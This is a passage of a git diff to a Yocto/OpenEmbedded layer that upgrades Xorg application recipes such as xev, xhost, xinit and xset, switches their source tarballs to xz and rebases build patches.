@@ -1,15 +0,0 @@
-require xorg-app-common.inc
-SUMMARY = "X authority utilities"
-DESCRIPTION = "X application to edit and display the authorization \
-information used in connecting to the X server."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=5ec74dd7ea4d10c4715a7c44f159a40b"
-
-DEPENDS += "libxau libxext libxmu"
-PE = "1"
-
-SRC_URI[md5sum] = "e50587c1bb832aafd1a19d91a0890a0b"
-SRC_URI[sha256sum] = "6d1dd1b79dd185107c5b0fdd22d1d791ad749ad6e288d0cdf80964c4ffa7530c"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
diff --git a/meta/recipes-graphics/xorg-app/xdpyinfo_1.3.2.bb b/meta/recipes-graphics/xorg-app/xdpyinfo_1.3.2.bb
deleted file mode 100644
index 2d10b7acca..0000000000
--- a/meta/recipes-graphics/xorg-app/xdpyinfo_1.3.2.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "Display information utility for X"
-
-DESCRIPTION = "Xdpyinfo is a utility for displaying information about an \
-X server. It is used to examine the capabilities of a server, the \
-predefined values for various parameters used in communicating between \
-clients and the server, and the different types of screens and visuals \
-that are available."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=f3d09e6b9e203a1af489e16c708f4fb3"
-DEPENDS += "libxtst libxext libxxf86vm libxi libxrender libxinerama libdmx libxau libxcomposite"
-PE = "1"
-
-SRC_URI += "file://disable-xkb.patch"
-
-SRC_URI[md5sum] = "8809037bd48599af55dad81c508b6b39"
-SRC_URI[sha256sum] = "30238ed915619e06ceb41721e5f747d67320555cc38d459e954839c189ccaf51"
-
-EXTRA_OECONF = "--disable-xkb"
diff --git a/meta/recipes-graphics/xorg-app/xdpyinfo_1.3.4.bb b/meta/recipes-graphics/xorg-app/xdpyinfo_1.3.4.bb
new file mode 100644
index 0000000000..3becd40281
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xdpyinfo_1.3.4.bb
@@ -0,0 +1,20 @@
+require xorg-app-common.inc
+
+SUMMARY = "Display information utility for X"
+
+DESCRIPTION = "Xdpyinfo is a utility for displaying information about an \
+X server. It is used to examine the capabilities of a server, the \
+predefined values for various parameters used in communicating between \
+clients and the server, and the different types of screens and visuals \
+that are available."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=f3d09e6b9e203a1af489e16c708f4fb3"
+DEPENDS += "libxtst libxext libxxf86vm libxi libxrender libxinerama libxau libxcomposite"
+PE = "1"
+
+SRC_URI += "file://disable-xkb.patch"
+
+SRC_URI_EXT = "xz"
+SRC_URI[sha256sum] = "a8ada581dbd7266440d7c3794fa89edf6b99b8857fc2e8c31042684f3af4822b"
+
+EXTRA_OECONF = "--disable-xkb"
diff --git a/meta/recipes-graphics/xorg-app/xev/diet-x11.patch b/meta/recipes-graphics/xorg-app/xev/diet-x11.patch
deleted file mode 100644
index 53c0ac2e61..0000000000
--- a/meta/recipes-graphics/xorg-app/xev/diet-x11.patch
+++ /dev/null
@@ -1,109 +0,0 @@
-Upstream-Status: Inappropriate [disable feature]
-
----
- xev.c | 16 ++++++++--------
- 1 file changed, 8 insertions(+), 8 deletions(-)
-
-Index: xev-1.2.3/xev.c
-===================================================================
---- xev-1.2.3.orig/xev.c
-+++ xev-1.2.3/xev.c
-@@ -125,17 +125,6 @@ do_KeyPress(XEvent *eventp)
- nbytes = XLookupString(e, str, 256, &ks, NULL);
-
- /* not supposed to call XmbLookupString on a key release event */
-- if (e->type == KeyPress && xic) {
-- do {
-- nmbbytes = XmbLookupString(xic, e, buf, bsize - 1, &ks, &status);
-- buf[nmbbytes] = '\0';
--
-- if (status == XBufferOverflow) {
-- bsize = nmbbytes + 1;
-- buf = realloc(buf, bsize);
-- }
-- } while (status == XBufferOverflow);
-- }
-
- if (ks == NoSymbol)
- ksname = "NoSymbol";
-@@ -168,16 +157,6 @@ do_KeyPress(XEvent *eventp)
- }
-
- /* not supposed to call XmbLookupString on a key release event */
-- if (e->type == KeyPress && xic) {
-- printf(" XmbLookupString gives %d bytes: ", nmbbytes);
-- if (nmbbytes > 0) {
-- dump(buf, nmbbytes);
-- printf(" \"%s\"\n", buf);
-- }
-- else {
-- printf("\n");
-- }
-- }
-
- printf(" XFilterEvent returns: %s\n",
- XFilterEvent(eventp, e->window) ? "True" : "False");
-@@ -1141,7 +1120,7 @@ parse_event_mask(const char *s, long eve
- if (s)
- return True;
- }
-- }
-+ }
-
- if (s != NULL)
- fprintf(stderr, "%s: unrecognized event mask '%s'\n", ProgramName, s);
-@@ -1288,37 +1267,6 @@ main(int argc, char **argv)
- fprintf(stderr, "%s: XSetLocaleModifiers failed\n", ProgramName);
- }
-
-- xim = XOpenIM(dpy, NULL, NULL, NULL);
-- if (xim == NULL) {
-- fprintf(stderr, "%s: XOpenIM failed\n", ProgramName);
-- }
--
-- if (xim) {
-- imvalret = XGetIMValues(xim, XNQueryInputStyle, &xim_styles, NULL);
-- if (imvalret != NULL || xim_styles == NULL) {
-- fprintf(stderr, "%s: input method doesn't support any styles\n",
-- ProgramName);
-- }
--
-- if (xim_styles) {
-- xim_style = 0;
-- for (i = 0; i < xim_styles->count_styles; i++) {
-- if (xim_styles->supported_styles[i] ==
-- (XIMPreeditNothing | XIMStatusNothing)) {
-- xim_style = xim_styles->supported_styles[i];
-- break;
-- }
-- }
--
-- if (xim_style == 0) {
-- fprintf(stderr,
-- "%s: input method doesn't support the style we support\n",
-- ProgramName);
-- }
-- XFree(xim_styles);
-- }
-- }
--
- screen = DefaultScreen(dpy);
-
- attr.event_mask = event_masks[EVENT_MASK_INDEX_CORE];
-@@ -1373,16 +1321,6 @@ main(int argc, char **argv)
- printf("Outer window is 0x%lx, inner window is 0x%lx\n", w, subw);
- }
-
-- if (xim && xim_style) {
-- xic = XCreateIC(xim,
-- XNInputStyle, xim_style,
-- XNClientWindow, w, XNFocusWindow, w, NULL);
--
-- if (xic == NULL) {
-- fprintf(stderr, "XCreateIC failed\n");
-- }
-- }
--
- have_rr = XRRQueryExtension(dpy, &rr_event_base, &rr_error_base);
- if (have_rr) {
- int rr_major, rr_minor;
diff --git a/meta/recipes-graphics/xorg-app/xev_1.2.3.bb b/meta/recipes-graphics/xorg-app/xev_1.2.3.bb
deleted file mode 100644
index 6a69e747a6..0000000000
--- a/meta/recipes-graphics/xorg-app/xev_1.2.3.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "X Event Viewer"
-DESCRIPTION = "Xev creates a window and then asks the X server to send it events \
-whenever anything happens to the window (such as it being moved, resized, \
-typed in, clicked in, etc.). You can also attach it to an existing window."
-
-LIC_FILES_CHKSUM = "file://xev.c;beginline=1;endline=33;md5=577c99421f1803b891d2c79097ae4682"
-LICENSE = "MIT"
-
-PE = "1"
-
-DEPENDS += "libxrandr xorgproto"
-
-SRC_URI += "file://diet-x11.patch"
-
-SRC_URI[md5sum] = "eec82a5d4b599736f0fa637e96136746"
-SRC_URI[sha256sum] = "66bc4f1cfa1946d62612737815c34164e4ce40fcebd2c9e1d7e7a1117ad3ad09"
diff --git a/meta/recipes-graphics/xorg-app/xev_1.2.6.bb b/meta/recipes-graphics/xorg-app/xev_1.2.6.bb
new file mode 100644
index 0000000000..182aeff1b7
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xev_1.2.6.bb
@@ -0,0 +1,17 @@
+require xorg-app-common.inc
+
+SUMMARY = "X Event Viewer"
+DESCRIPTION = "Xev creates a window and then asks the X server to send it events \
+whenever anything happens to the window (such as it being moved, resized, \
+typed in, clicked in, etc.). You can also attach it to an existing window."
+
+LIC_FILES_CHKSUM = "file://xev.c;beginline=1;endline=33;md5=577c99421f1803b891d2c79097ae4682"
+LICENSE = "MIT"
+
+PE = "1"
+
+DEPENDS += "libxrandr xorgproto"
+
+SRC_URI[sha256sum] = "61e1c5e008ac9973aca7cdddf36e9df7410e77083b030eb04f4dc737c51807d7"
+
+SRC_URI_EXT = "xz"
diff --git a/meta/recipes-graphics/xorg-app/xeyes_1.1.2.bb b/meta/recipes-graphics/xorg-app/xeyes_1.1.2.bb
deleted file mode 100644
index 06885f8f53..0000000000
--- a/meta/recipes-graphics/xorg-app/xeyes_1.1.2.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "X11 eyes that follow the mouse cursor demo"
-DESCRIPTION = "Xeyes is a small X11 application that shows a pair of eyes that move to \
-follow the location of the mouse cursor around the screen."
-
-PE = "1"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=3ea51b365051ac32d1813a7dbaa4bfc6"
-
-SRC_URI[md5sum] = "6f0543ec84283df5743eeafc173bea4a"
-SRC_URI[sha256sum] = "57bcec0d2d167af9e5d44d0dbd74c6d7c0f0591cd0608952b23c749fdd910553"
-
-DEPENDS += "libxau libxt libxext libxmu libxrender"
diff --git a/meta/recipes-graphics/xorg-app/xeyes_1.3.0.bb b/meta/recipes-graphics/xorg-app/xeyes_1.3.0.bb
new file mode 100644
index 0000000000..3d1a7063ea
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xeyes_1.3.0.bb
@@ -0,0 +1,14 @@
+require xorg-app-common.inc
+
+SUMMARY = "X11 eyes that follow the mouse cursor demo"
+DESCRIPTION = "Xeyes is a small X11 application that shows a pair of eyes that move to \
+follow the location of the mouse cursor around the screen."
+
+PE = "1"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=3ea51b365051ac32d1813a7dbaa4bfc6"
+
+SRC_URI_EXT = "xz"
+SRC_URI[sha256sum] = "0950c600bf33447e169a539ee6655ef9f36d6cebf2c1be67f7ab55dacb753023"
+
+DEPENDS += "libxau libxt libxext libxmu libxrender libxi"
diff --git a/meta/recipes-graphics/xorg-app/xhost_1.0.8.bb b/meta/recipes-graphics/xorg-app/xhost_1.0.8.bb
deleted file mode 100644
index 26bec3f0dd..0000000000
--- a/meta/recipes-graphics/xorg-app/xhost_1.0.8.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "Server access control program for X"
-
-DESCRIPTION = "The xhost program is used to add and delete host names or \
-user names to the list allowed to make connections to the X server. In \
-the case of hosts, this provides a rudimentary form of privacy control \
-and security. Environments which require more sophisticated measures \
-should implement the user-based mechanism or use the hooks in the \
-protocol for passing other authentication data to the server."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=8fbed71dddf48541818cef8079124199"
-DEPENDS += "libxmu libxau"
-PE = "1"
-
-SRC_URI[md5sum] = "a48c72954ae6665e0616f6653636da8c"
-SRC_URI[sha256sum] = "a2dc3c579e13674947395ef8ccc1b3763f89012a216c2cc6277096489aadc396"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
diff --git a/meta/recipes-graphics/xorg-app/xhost_1.0.9.bb b/meta/recipes-graphics/xorg-app/xhost_1.0.9.bb
new file mode 100644
index 0000000000..d54e6cae65
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xhost_1.0.9.bb
@@ -0,0 +1,21 @@
+require xorg-app-common.inc
+
+SUMMARY = "Server access control program for X"
+
+DESCRIPTION = "The xhost program is used to add and delete host names or \
+user names to the list allowed to make connections to the X server. In \
+the case of hosts, this provides a rudimentary form of privacy control \
+and security. Environments which require more sophisticated measures \
+should implement the user-based mechanism or use the hooks in the \
+protocol for passing other authentication data to the server."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=b1f81049109f21bb3c365d9f42f79f3b"
+DEPENDS += "libxmu libxau gettext-native"
+PE = "1"
+
+SRC_URI_EXT = "xz"
+
+SRC_URI[sha256sum] = "ea86b531462035b19a2e5e01ef3d9a35cca7d984086645e2fc844d8f0e346645"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
diff --git a/meta/recipes-graphics/xorg-app/xinit_1.4.1.bb b/meta/recipes-graphics/xorg-app/xinit_1.4.1.bb
deleted file mode 100644
index 301ea1c243..0000000000
--- a/meta/recipes-graphics/xorg-app/xinit_1.4.1.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "X Window System initializer"
-
-DESCRIPTION = "The xinit program is used to start the X Window System \
-server and a first client program on systems that cannot start X \
-directly from /etc/init or in environments that use multiple window \
-systems. When this first client exits, xinit will kill the X server and \
-then terminate."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=18f01e7b39807bebe2b8df101a039b68"
-
-PE = "1"
-
-SRC_URI += "file://0001-Make-manpage-multilib-identical.patch"
-
-SRC_URI[md5sum] = "6d506ab2efc17a08e87778654e099d37"
-SRC_URI[sha256sum] = "de9b8f617b68a70f6caf87da01fcf0ebd2b75690cdcba9c921d0ef54fa54abb9"
-
-EXTRA_OECONF = "ac_cv_path_MCOOKIE=${bindir}/mcookie"
-
-PACKAGECONFIG ??= "rxvt"
-PACKAGECONFIG[rxvt] = "--with-xterm=rxvt,,,rxvt-unicode"
-
-RDEPENDS_${PN} += "util-linux-mcookie"
diff --git a/meta/recipes-graphics/xorg-app/xinit_1.4.2.bb b/meta/recipes-graphics/xorg-app/xinit_1.4.2.bb
new file mode 100644
index 0000000000..82c0b0d833
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xinit_1.4.2.bb
@@ -0,0 +1,26 @@
+require xorg-app-common.inc
+
+SUMMARY = "X Window System initializer"
+
+DESCRIPTION = "The xinit program is used to start the X Window System \
+server and a first client program on systems that cannot start X \
+directly from /etc/init or in environments that use multiple window \
+systems. When this first client exits, xinit will kill the X server and \
+then terminate."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=18f01e7b39807bebe2b8df101a039b68"
+
+PE = "1"
+
+SRC_URI += "file://0001-Make-manpage-multilib-identical.patch"
+
+SRC_URI_EXT = "xz"
+
+SRC_URI[sha256sum] = "b7d8dc8d22ef9f15985a10b606ee4f2aad6828befa437359934647e88d331f23"
+
+EXTRA_OECONF = "ac_cv_path_MCOOKIE=${bindir}/mcookie"
+
+PACKAGECONFIG ??= "rxvt"
+PACKAGECONFIG[rxvt] = "--with-xterm=rxvt,,,rxvt-unicode"
+
+RDEPENDS:${PN} += "util-linux-mcookie"
diff --git a/meta/recipes-graphics/xorg-app/xinput_1.6.3.bb b/meta/recipes-graphics/xorg-app/xinput_1.6.3.bb
deleted file mode 100644
index ff1f1c9148..0000000000
--- a/meta/recipes-graphics/xorg-app/xinput_1.6.3.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "Runtime configuration and test of XInput devices"
-
-DESCRIPTION = "Xinput is an utility for configuring and testing XInput devices"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=881525f89f99cad39c9832bcb72e6fa5"
-
-DEPENDS += " libxi libxrandr libxinerama"
-
-SRC_URI[md5sum] = "ac6b7432726008b2f50eba82b0e2dbe4"
-SRC_URI[sha256sum] = "35a281dd3b9b22ea85e39869bb7670ba78955d5fec17c6ef7165d61e5aeb66ed"
diff --git a/meta/recipes-graphics/xorg-app/xinput_1.6.4.bb b/meta/recipes-graphics/xorg-app/xinput_1.6.4.bb
new file mode 100644
index 0000000000..f5e3f5da12
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xinput_1.6.4.bb
@@ -0,0 +1,13 @@
+require xorg-app-common.inc
+
+SUMMARY = "Runtime configuration and test of XInput devices"
+
+DESCRIPTION = "Xinput is an utility for configuring and testing XInput devices"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=881525f89f99cad39c9832bcb72e6fa5"
+
+DEPENDS += " libxi libxrandr libxinerama"
+
+SRC_URI_EXT = "xz"
+SRC_URI[md5sum] = "8e4d14823b7cbefe1581c398c6ab0035"
+SRC_URI[sha256sum] = "ad04d00d656884d133110eeddc34e9c69e626ebebbbab04dc95791c2907057c8"
diff --git a/meta/recipes-graphics/xorg-app/xkbcomp_1.4.3.bb b/meta/recipes-graphics/xorg-app/xkbcomp_1.4.3.bb
deleted file mode 100644
index 2fa79c8438..0000000000
--- a/meta/recipes-graphics/xorg-app/xkbcomp_1.4.3.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "A program to compile XKB keyboard description"
-
-DESCRIPTION = "The xkbcomp keymap compiler converts a description of an \
-XKB keymap into one of several output formats. The most common use for \
-xkbcomp is to create a compiled keymap file (.xkm extension) which can \
-be read directly by XKB-capable X servers or utilities."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=08436e4f4476964e2e2dd7e7e41e076a"
-
-DEPENDS += "libxkbfile"
-
-BBCLASSEXTEND = "native"
-
-EXTRA_OECONF += "--disable-selective-werror"
-
-SRC_URI[md5sum] = "6e4751d99373f85d459ab4dff28893f5"
-SRC_URI[sha256sum] = "06242c169fc11caf601cac46d781d467748c6a330e15b36dce46520b8ac8d435"
diff --git a/meta/recipes-graphics/xorg-app/xkbcomp_1.4.7.bb b/meta/recipes-graphics/xorg-app/xkbcomp_1.4.7.bb
new file mode 100644
index 0000000000..f259f33dd8
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xkbcomp_1.4.7.bb
@@ -0,0 +1,19 @@
+require xorg-app-common.inc
+
+SUMMARY = "A program to compile XKB keyboard description"
+
+DESCRIPTION = "The xkbcomp keymap compiler converts a description of an \
+XKB keymap into one of several output formats. The most common use for \
+xkbcomp is to create a compiled keymap file (.xkm extension) which can \
+be read directly by XKB-capable X servers or utilities."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=be5e191f04d3f2cd80aa83b928ba984c"
+
+DEPENDS += "libxkbfile"
+
+BBCLASSEXTEND = "native"
+
+EXTRA_OECONF += "--disable-selective-werror"
+
+SRC_URI_EXT = "xz"
+SRC_URI[sha256sum] = "0a288114e5f44e31987042c79aecff1ffad53a8154b8ec971c24a69a80f81f77"
diff --git a/meta/recipes-graphics/xorg-app/xmodmap_1.0.10.bb b/meta/recipes-graphics/xorg-app/xmodmap_1.0.10.bb
deleted file mode 100644
index 7dedb03a2b..0000000000
--- a/meta/recipes-graphics/xorg-app/xmodmap_1.0.10.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "Utility for modifying keymaps and pointer button mappings in X"
-
-DESCRIPTION = "The xmodmap program is used to edit and display the \
-keyboard modifier map and keymap table that are used by client \
-applications to convert event keycodes into keysyms. It is usually run \
-from the user's session startup script to configure the keyboard \
-according to personal tastes."
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=272c17e96370e1e74773fa22d9989621"
-
-PE = "1"
-SRC_URI[md5sum] = "51f1d30a525e9903280ffeea2744b1f6"
-SRC_URI[sha256sum] = "473f0941d7439d501bb895ff358832b936ec34c749b9704c37a15e11c318487c"
diff --git a/meta/recipes-graphics/xorg-app/xmodmap_1.0.11.bb b/meta/recipes-graphics/xorg-app/xmodmap_1.0.11.bb
new file mode 100644
index 0000000000..dc955aa977
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xmodmap_1.0.11.bb
@@ -0,0 +1,17 @@
+require xorg-app-common.inc
+
+SUMMARY = "Utility for modifying keymaps and pointer button mappings in X"
+
+DESCRIPTION = "The xmodmap program is used to edit and display the \
+keyboard modifier map and keymap table that are used by client \
+applications to convert event keycodes into keysyms. It is usually run \
+from the user's session startup script to configure the keyboard \
+according to personal tastes."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=272c17e96370e1e74773fa22d9989621"
+
+PE = "1"
+SRC_URI[sha256sum] = "9a2f8168f7b0bc382828847403902cb6bf175e17658b36189eac87edda877e81"
+
+SRC_URI_EXT = "xz"
diff --git a/meta/recipes-graphics/xorg-app/xorg-app-common.inc b/meta/recipes-graphics/xorg-app/xorg-app-common.inc
index cb8cf4f5fa..5dbe8abe86 100644
--- a/meta/recipes-graphics/xorg-app/xorg-app-common.inc
+++ b/meta/recipes-graphics/xorg-app/xorg-app-common.inc
@@ -2,14 +2,15 @@ SUMMARY = "X application"
HOMEPAGE = "http://www.x.org/"
BUGTRACKER = "https://bugs.freedesktop.org"
SECTION = "x11/apps"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
DEPENDS = "util-macros-native virtual/libx11"
# depends on virtual/libx11
REQUIRED_DISTRO_FEATURES = "x11"
-SRC_URI = "${XORG_MIRROR}/individual/app/${BPN}-${PV}.tar.bz2"
+SRC_URI_EXT = "bz2"
+SRC_URI = "${XORG_MIRROR}/individual/app/${BPN}-${PV}.tar.${SRC_URI_EXT}"
inherit autotools pkgconfig features_check
-FILES_${PN} += " ${libdir}/X11/${BPN} ${datadir}/X11/app-defaults/"
+FILES:${PN} += " ${libdir}/X11/${BPN} ${datadir}/X11/app-defaults/"
diff --git a/meta/recipes-graphics/xorg-app/xprop_1.2.4.bb b/meta/recipes-graphics/xorg-app/xprop_1.2.4.bb
deleted file mode 100644
index 3280813ef8..0000000000
--- a/meta/recipes-graphics/xorg-app/xprop_1.2.4.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "Utility to display window and font properties of an X server"
-
-DESCRIPTION = "The xprop utility is for displaying window and font \
-properties in an X server. One window or font is selected using the \
-command line arguments or possibly in the case of a window, by clicking \
-on the desired window. A list of properties is then given, possibly with \
-formatting information."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=e226ab8db88ac0bc0391673be40c9f91"
-
-DEPENDS += "libxmu"
-
-PE = "1"
-
-SRC_URI[md5sum] = "cc369c28383a5d7144e7197ee7d30bfa"
-SRC_URI[sha256sum] = "8c77fb096e46c60032b7e2bde9492c3ffcc18734f50b395085a5f10bfd3cf753"
diff --git a/meta/recipes-graphics/xorg-app/xprop_1.2.7.bb b/meta/recipes-graphics/xorg-app/xprop_1.2.7.bb
new file mode 100644
index 0000000000..96e364b2b3
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xprop_1.2.7.bb
@@ -0,0 +1,18 @@
+require xorg-app-common.inc
+
+SUMMARY = "Utility to display window and font properties of an X server"
+
+DESCRIPTION = "The xprop utility is for displaying window and font \
+properties in an X server. One window or font is selected using the \
+command line arguments or possibly in the case of a window, by clicking \
+on the desired window. A list of properties is then given, possibly with \
+formatting information."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=e226ab8db88ac0bc0391673be40c9f91"
+
+DEPENDS += "libxmu"
+
+PE = "1"
+
+SRC_URI_EXT = "xz"
+SRC_URI[sha256sum] = "4436e3148bb91a162406230d9f736a49ca8b50b74790015dc15d78d6ce8e825f"
diff --git a/meta/recipes-graphics/xorg-app/xrandr_1.5.1.bb b/meta/recipes-graphics/xorg-app/xrandr_1.5.1.bb
deleted file mode 100644
index 57b43ff28c..0000000000
--- a/meta/recipes-graphics/xorg-app/xrandr_1.5.1.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "XRandR: X Resize, Rotate and Reflect extension command"
-
-DESCRIPTION = "Xrandr is used to set the size, orientation and/or \
-reflection of the outputs for a screen. It can also set the screen \
-size."
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fe1608bdb33cf8c62a4438f7d34679b3"
-DEPENDS += "libxrandr libxrender"
-PE = "1"
-
-SRC_URI = "${XORG_MIRROR}/individual/app/${BPN}-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "fe40f7a4fd39dd3a02248d3e0b1972e4"
-SRC_URI[sha256sum] = "7bc76daf9d72f8aff885efad04ce06b90488a1a169d118dea8a2b661832e8762"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-app/xrandr_1.5.2.bb b/meta/recipes-graphics/xorg-app/xrandr_1.5.2.bb
new file mode 100644
index 0000000000..1e29031849
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xrandr_1.5.2.bb
@@ -0,0 +1,17 @@
+require xorg-app-common.inc
+
+SUMMARY = "XRandR: X Resize, Rotate and Reflect extension command"
+
+DESCRIPTION = "Xrandr is used to set the size, orientation and/or \
+reflection of the outputs for a screen. It can also set the screen \
+size."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fe1608bdb33cf8c62a4438f7d34679b3"
+DEPENDS += "libxrandr libxrender"
+PE = "1"
+
+SRC_URI_EXT = "xz"
+SRC_URI[sha256sum] = "c8bee4790d9058bacc4b6246456c58021db58a87ddda1a9d0139bf5f18f1f240"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-app/xset/disable-xkb.patch b/meta/recipes-graphics/xorg-app/xset/disable-xkb.patch
index a97c7b72fa..0bb05a3b88 100644
--- a/meta/recipes-graphics/xorg-app/xset/disable-xkb.patch
+++ b/meta/recipes-graphics/xorg-app/xset/disable-xkb.patch
@@ -1,14 +1,21 @@
-add "-disable-xkb" option
+From 3090dcafac7c8080091b5e3e3720209c65251a1a Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard@openedhand.com>
+Date: Mon, 22 May 2006 22:15:57 +0000
+Subject: [PATCH] add "-disable-xkb" option
Upstream-Status: Pending
Rebase for 1.2.1 by: Yu Ke <ke.yu@intel.com>
-Index: xset-1.2.3/configure.ac
-===================================================================
---- xset-1.2.3.orig/configure.ac
-+++ xset-1.2.3/configure.ac
-@@ -53,11 +53,15 @@ PKG_CHECK_MODULES(SET_XEXT, xext,
+---
+ configure.ac | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/configure.ac b/configure.ac
+index e7c2bdf..8e1ed5e 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -52,11 +52,15 @@ PKG_CHECK_MODULES(SET_XEXT, xext,
AC_CHECK_HEADERS([X11/extensions/dpms.h X11/extensions/MITMisc.h],,,[#include <X11/Xlib.h>])
CPPFLAGS="$SAVE_CPPFLAGS"],[echo "not found"])
@@ -22,5 +29,5 @@ Index: xset-1.2.3/configure.ac
CPPFLAGS="$SAVE_CPPFLAGS"],[echo "not found"])
+fi
- AC_ARG_WITH(xf86misc, AS_HELP_STRING([--without-xf86misc],[Disable xf86misc support.]),
- [USE_XF86MISC="$withval"], [USE_XF86MISC="yes"])
+ AC_ARG_WITH(xf86misc, AS_HELP_STRING([--with-xf86misc],[Enable xf86misc support.]),
+ [USE_XF86MISC="$withval"], [USE_XF86MISC="no"])
diff --git a/meta/recipes-graphics/xorg-app/xset_1.2.4.bb b/meta/recipes-graphics/xorg-app/xset_1.2.4.bb
deleted file mode 100644
index e21120e788..0000000000
--- a/meta/recipes-graphics/xorg-app/xset_1.2.4.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "Utility for setting various user preference options of the display"
-
-DESCRIPTION = "xset is a utility that is used to set various user \
-preference options of the display."
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=bea81cc9827cdf1af0e12c2b8228cf8d"
-DEPENDS += "libxext libxmu libxau"
-PE = "1"
-
-SRC_URI += "file://disable-xkb.patch"
-
-SRC_URI[md5sum] = "70ea7bc7bacf1a124b1692605883f620"
-SRC_URI[sha256sum] = "e4fd95280df52a88e9b0abc1fee11dcf0f34fc24041b9f45a247e52df941c957"
-
-CFLAGS += "-D_GNU_SOURCE"
-EXTRA_OECONF = "--disable-xkb --without-fontcache"
diff --git a/meta/recipes-graphics/xorg-app/xset_1.2.5.bb b/meta/recipes-graphics/xorg-app/xset_1.2.5.bb
new file mode 100644
index 0000000000..398530f342
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xset_1.2.5.bb
@@ -0,0 +1,20 @@
+require xorg-app-common.inc
+
+SUMMARY = "Utility for setting various user preference options of the display"
+
+DESCRIPTION = "xset is a utility that is used to set various user \
+preference options of the display."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=bea81cc9827cdf1af0e12c2b8228cf8d"
+DEPENDS += "libxext libxmu libxau"
+PE = "1"
+
+SRC_URI += "file://disable-xkb.patch"
+
+SRC_URI_EXT = "xz"
+
+SRC_URI[sha256sum] = "9f692d55635b3862cd63633b1222a87680ec283c7a8e8ed6dd698a3147f75e2f"
+
+CFLAGS += "-D_GNU_SOURCE"
+EXTRA_OECONF = "--disable-xkb --without-fontcache"
diff --git a/meta/recipes-graphics/xorg-app/xvinfo_1.1.4.bb b/meta/recipes-graphics/xorg-app/xvinfo_1.1.4.bb
deleted file mode 100644
index a913ae11f3..0000000000
--- a/meta/recipes-graphics/xorg-app/xvinfo_1.1.4.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "Print out X-Video extension adaptor information"
-
-DESCRIPTION = "xvinfo prints out the capabilities of any video adaptors \
-associated with the display that are accessible through the X-Video \
-extension."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=b664101ad7a1dc758a4c4109bf978e68"
-DEPENDS += " libxv"
-PE = "1"
-
-SRC_URI[md5sum] = "b13afec137b9b331814a9824ab03ec80"
-SRC_URI[sha256sum] = "0353220d6606077ba42363db65f50410759f9815352f77adc799e2adfa76e73f"
diff --git a/meta/recipes-graphics/xorg-app/xvinfo_1.1.5.bb b/meta/recipes-graphics/xorg-app/xvinfo_1.1.5.bb
new file mode 100644
index 0000000000..d7e5d917ef
--- /dev/null
